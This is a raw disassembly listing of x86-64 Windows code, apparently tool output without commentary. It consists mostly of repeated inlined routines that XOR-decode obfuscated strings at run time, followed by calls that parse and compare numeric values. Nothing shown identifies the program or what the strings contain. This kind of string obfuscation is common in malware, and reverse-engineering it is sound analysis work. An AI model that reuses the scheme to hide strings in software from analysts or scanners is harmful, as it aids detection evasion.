packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400118c0
cmp r8d, 0x1a
jge 0x1400119e1
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400119b0
mov byte [rbp + 0x3e], 0
lea rdx, [rbp + 0x1460]
lea rcx, [rbp + 0x3e]
call fcn.14002d760
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x140011b31
mov r8d, edi
cmp esi, 2
jl 0x140011af8
mov rcx, rax
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140011a11
cmp r8d, 0x16
jge 0x140011b31
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140011b00
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp + 0x3f], 0
lea rdx, [rbp + 0xc58]
lea rcx, [rbp + 0x3f]
call fcn.14002d590
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140011c70
mov r8d, edi
cmp esi, 2
jl 0x140011c37
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140011c40
mov byte [rbp + 0x40], 0
lea rdx, [rbp + 0x10d8]
lea rcx, [rbp + 0x40]
call fcn.14002d3c0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140011db0
mov r8d, edi
cmp esi, 2
jl 0x140011d6c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140011d80
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp + 0x41], 0
lea rdx, [rbp + 0x7a8]
lea rcx, [rbp + 0x41]
call fcn.14002d320
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140011e12
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rbp + 0x42], 0
lea rdx, [rbp + 0x11e8]
lea rcx, [rbp + 0x42]
call fcn.14002d140
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x140011f41
mov r8d, edi
cmp esi, 2
jl 0x140011efd
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140011f10
mov rcx, r10
jmp 0x1400130e6
mov byte [rbp + 0x43], 0
lea rdx, [rbp + 0x3d8]
lea rcx, [rbp + 0x43]
call fcn.14002db80
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140011f87
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1b80]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1b80]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1b80]
call fcn.1400b3040
cmp ebx, 0xd
jne 0x14001251b
mov byte [rbp + 0x44], 0
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0x44]
call fcn.14002e2a0
mov rbx, rax
cmp byte [rax + 0xd], 0
je 0x1400120f1
mov r8d, edi
cmp esi, 2
jl 0x1400120ad
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400120c0
mov byte [rbp + 0x45], 0
lea rdx, [rbp + 0xc68]
lea rcx, [rbp + 0x45]
call fcn.14002e0d0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140012221
mov r8d, edi
cmp esi, 2
jl 0x1400121dc
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400121f0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp + 0x46], 0
lea rdx, [rbp + 0xc78]
lea rcx, [rbp + 0x46]
call fcn.14002df00
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140012360
mov r8d, edi
cmp esi, 2
jl 0x140012327
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140012330
mov byte [rbp + 0x47], 0
lea rdx, [rbp + 0x10f8]
lea rcx, [rbp + 0x47]
call fcn.14002dd30
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x1400124a0
mov r8d, edi
cmp esi, 2
jl 0x14001245c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140012470
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp + 0x48], 0
lea rdx, [rbp + 0x7b8]
lea rcx, [rbp + 0x48]
call fcn.14002dc90
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140012502
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rbp + 0x49], 0
lea rdx, [rbp + 0x578]
lea rcx, [rbp + 0x49]
call fcn.14002dc00
jmp 0x1400130b5
mov byte [rbp + 0x4a], 0
lea rdx, [rbp + 0x3e8]
lea rcx, [rbp + 0x4a]
call fcn.14002e470
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140012559
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1ba0]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1ba0]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1ba0]
call fcn.1400b3040
cmp ebx, 0xd
jne 0x140012c09
mov byte [rbp + 0x4b], 0
lea rdx, [rbp + 0xf4]
lea rcx, [rbp + 0x4b]
call fcn.14002ee00
mov rbx, rax
movzx eax, byte [rax + 2]
test al, al
je 0x1400125bc
xor byte [rbx + 1], 1
xor al, 2
mov byte [rbx + 2], al
mov byte [rbp + 0x4c], 0
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x4c]
call fcn.14002ec50
mov r10, rax
cmp byte [rax + 7], 0
je 0x1400126e1
cmp esi, 2
jl 0x1400126a0
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
jmp 0x1400126e1
mov r9, r10
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400126b0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp + 0x4d], 0
lea rdx, [rbp + 0xc88]
lea rcx, [rbp + 0x4d]
call fcn.14002ea80
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140012820
mov r8d, edi
cmp esi, 2
jl 0x1400127e7
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400127f0
mov byte [rbp + 0x4e], 0
lea rdx, [rbp + 0x1108]
lea rcx, [rbp + 0x4e]
call fcn.14002e8b0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140012960
mov r8d, edi
cmp esi, 2
jl 0x14001291c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140012930
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp + 0x4f], 0
lea rdx, [rbp + 0x12b8]
lea rcx, [rbp + 0x4f]
call fcn.14002e6c0
mov rbx, rax
cmp byte [rax + 0xf], 0
je 0x140012ad1
cmp esi, 2
jl 0x140012a8f
mov edx, edi
mov rcx, rax
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400129b0
jmp 0x140012ad1
mov r9, rbx
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140012aa0
mov byte [rbp + 0x50], 0
lea rdx, [rbp + 0xc98]
lea rcx, [rbp + 0x50]
call fcn.14002e4f0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140011f41
mov r8d, edi
cmp esi, 2
jl 0x140012bbc
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140012bd0
mov rcx, r10
jmp 0x1400130e6
mov byte [rbp + 0x51], 0
lea rdx, [rbp + 0x114]
lea rcx, [rbp + 0x51]
call fcn.14002ee80
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140012c3b
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor cl, 5
mov byte [rax + 5], cl
mov rdx, rax
lea rcx, [rbp + 0x1bc0]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1bc0]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1bc0]
call fcn.1400b3040
cmp ebx, 0xd
jne 0x1400130f9
mov byte [rbp + 0x52], 0
lea rdx, [rbp + 0x7c8]
lea rcx, [rbp + 0x52]
call fcn.14002f580
mov rbx, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x140012cbe
